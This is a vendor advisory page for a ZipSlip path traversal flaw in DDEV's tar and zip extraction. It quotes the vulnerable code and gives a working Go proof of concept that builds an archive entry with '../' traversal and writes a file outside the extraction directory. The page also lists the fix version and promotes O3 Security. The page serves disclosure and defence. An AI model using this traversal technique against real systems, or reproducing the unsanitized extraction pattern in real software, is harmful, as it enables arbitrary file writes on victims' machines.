GHSA-x2xq-qhjf-5mvg is a medium-severity (CVSS 6.5) vulnerability in github.com/ddev/ddev. O3 Security confirms whether GHSA-x2xq-qhjf-5mvg is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
DDEV has ZipSlip path traversal in tar and zip archive extraction
Real-World Exposure
github.com/ddev/ddevReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The DDEV local dev tool has unsanitized extraction in both Untar() and Unzip() functions in pkg/archive/archive.go. This flaw allows users to download and extract archives from remote sources without path validation.
Vulnerable Code
pkg/archive/archive.go:235 (Untar):
fullPath := filepath.Join(dest, file.Name) // NO SANITIZATION
pkg/archive/archive.go:342 (Unzip):
fullPath := filepath.Join(dest, file.Name) // NO SANITIZATION
Both functions create directories via os.MkdirAll and files via os.Create using the unsanitized path.
Impact
Local development tool that downloads and extracts archives from remote sources (add-ons, updates). Malicious archive → arbitrary file write on developer machine.
Proof of Concept
package main
// PoC: ddev/ddev CWE-22 — ZipSlip in tar archive extraction
// Replicates the exact pattern from pkg/archive/archive.go:235 (Untar)
// and pkg/archive/archive.go:342 (Unzip) — both use filepath.Join(dest, name)
// without verifying the result stays under the destination directory.
import (
"archive/tar"
"bytes"
"fmt"
"io"
"os"
"path/filepath"
)
// Vulnerable extraction — mirrors pkg/archive/archive.go:235
func untarVulnerable(dst string, r io.Reader) error {
tr := tar.NewReader(r)
for {
header, err := tr.Next()
if err == io.EOF {
break
}
if err != nil {
return err
}
// VULNERABLE: identical to archive.go:235
// fullPath := filepath.Join(dest, file.Name)
fullPath := filepath.Join(dst, header.Name)
switch header.Typeflag {
case tar.TypeDir:
os.MkdirAll(fullPath, 0755)
case tar.TypeReg:
os.MkdirAll(filepath.Dir(fullPath), 0755)
f, _ := os.Create(fullPath)
io.Copy(f, tr)
f.Close()
}
}
return nil
}
func main() {
// Build malicious tar with traversal entry
var buf bytes.Buffer
tw := tar.NewWriter(&buf)
payload := []byte("# PoC: ddev/ddev CWE-22 path traversal\n")
tw.WriteHeader(&tar.Header{
Name: "../../../../../../tmp/ddev_cwe22_poc",
Mode: 0644,
Size: int64(len(payload)),
})
tw.Write(payload)
tw.Close()
// Extract into temp directory
extractDir, _ := os.MkdirTemp("", "ddev-poc-*")
defer os.RemoveAll(extractDir)
untarVulnerable(extractDir, &buf)
// Verify escape
escaped := "/tmp/ddev_cwe22_poc"
if data, err := os.ReadFile(escaped); err == nil {
fmt.Printf("[!!!] VULNERABLE — file written to: %s\n", escaped)
fmt.Printf("[!!!] Content: %s", string(data))
os.Remove(escaped)
} else {
fmt.Println("[OK] Not vulnerable")
}
}
Output:
[!!!] VULNERABLE — file written to: /tmp/ddev_cwe22_poc
[!!!] Content: # PoC: ddev/ddev CWE-22 path traversal
Note: Both
Untar(archive.go:235) andUnzip(archive.go:342) use the samefilepath.Join(dest, file.Name)pattern without containment checks. This PoC demonstrates the tar path; the zip path is analogously exploitable.
Suggested Fix
Add path containment check in both Untar and Unzip functions.
Credit
Kai Aizen (SnailSploit) — Adversarial AI & Security Research
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/ddev/ddev | all versions | 1.25.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/ddev/ddev. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/ddev/ddev to 1.25.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-x2xq-qhjf-5mvg is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-x2xq-qhjf-5mvg is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-x2xq-qhjf-5mvg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-x2xq-qhjf-5mvg in your dependencies?
O3 detects GHSA-x2xq-qhjf-5mvg across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.